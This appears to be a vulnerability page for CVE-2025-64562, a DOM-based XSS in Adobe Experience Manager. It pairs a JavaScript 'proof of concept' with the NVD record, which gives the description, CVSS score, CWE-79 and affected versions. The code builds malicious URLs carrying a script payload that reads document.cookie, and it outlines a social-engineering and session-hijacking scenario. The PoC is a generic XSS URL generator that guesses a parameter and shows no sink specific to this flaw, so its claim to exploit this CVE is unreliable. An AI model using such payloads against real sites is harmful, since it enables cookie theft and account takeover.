CVE-2025-64562

// CVE-2025-64562 DOM-based XSS PoC for Adobe Experience Manager // This PoC demonstrates the DOM XSS vulnerability in AEM const vulnerableEndpoint = 'https://vulnerable-aem-instance.com/content/path'; // Malicious payload - XSS via URL fragment or parameter const xssPayload = '<script>alert(document.cookie)</script>'; // Method 1: URL Fragment-based attack function generateFragmentXSSUrl(baseUrl, payload) { const encodedPayload = encodeURIComponent(payload); return `${baseUrl}#${encodedPayload}`; } // Method 2: URL Parameter-based attack function generateParamXSSUrl(baseUrl, paramName, payload) { const encodedPayload = encodeURIComponent(payload); return `${baseUrl}?${paramName}=${encodedPayload}`; } // Generate the malicious URL const maliciousUrl = generateParamXSSUrl(vulnerableEndpoint, 'ref', xssPayload); console.log('Malicious URL for CVE-2025-64562:'); console.log(maliciousUrl); // The actual exploitation would involve: // 1. Crafting a URL with XSS payload in a parameter processed by client-side JS // 2. Using DOM manipulation functions like innerHTML, document.write(), etc. // 3. Social engineering to get victim to click the link // Example attack scenario: const attackScenario = { step1: 'Identify the vulnerable AEM endpoint that reflects user input in DOM', step2: 'Inject XSS payload in URL parameter (e.g., ?returnUrl=<script>...)', step3: 'Use social engineering to trick admin/user into clicking the malicious URL', step4: 'XSS executes in victim browser, stealing session cookies', step5: 'Attacker uses stolen cookies for session hijacking' }; console.log('Attack Scenario:', JSON.stringify(attackScenario, null, 2));

{"cve": {"id": "CVE-2025-64562", "sourceIdentifier": "[email protected]", "published": "2025-12-10T19:16:19.230", "lastModified": "2025-12-12T19:55:41.557", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Adobe Experience Manager versions 6.5.23 and earlier are affected by a DOM-based Cross-Site Scripting (XSS) vulnerability that could be exploited by a low privileged attacker to execute malicious scripts in the context of the victim's browser. Exploitation of this issue requires user interaction, such as visiting a crafted URL or interacting with a manipulated web page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:experience_manager:*:*:*:*:-:*:*:*", "versionEndExcluding": "6.5.24.0", "matchCriteriaId": "0FC0CE20-2AC2-45FB-A7CF-9ADEEBC8B411"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:experience_manager:*:*:*:*:aem_cloud_service:*:*:*", "versionEndExcluding": "2025.12.0", "matchCriteriaId": "3326AB8A-7DF7-437C-86B6-58BA768E42E5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:experience_manager:6.5:-:*:*:lts:*:*:*", "matchCriteriaId": "852C2582-859F-40DB-96CF-E1274CEECC1F"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/experience-manager/apsb25-115.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}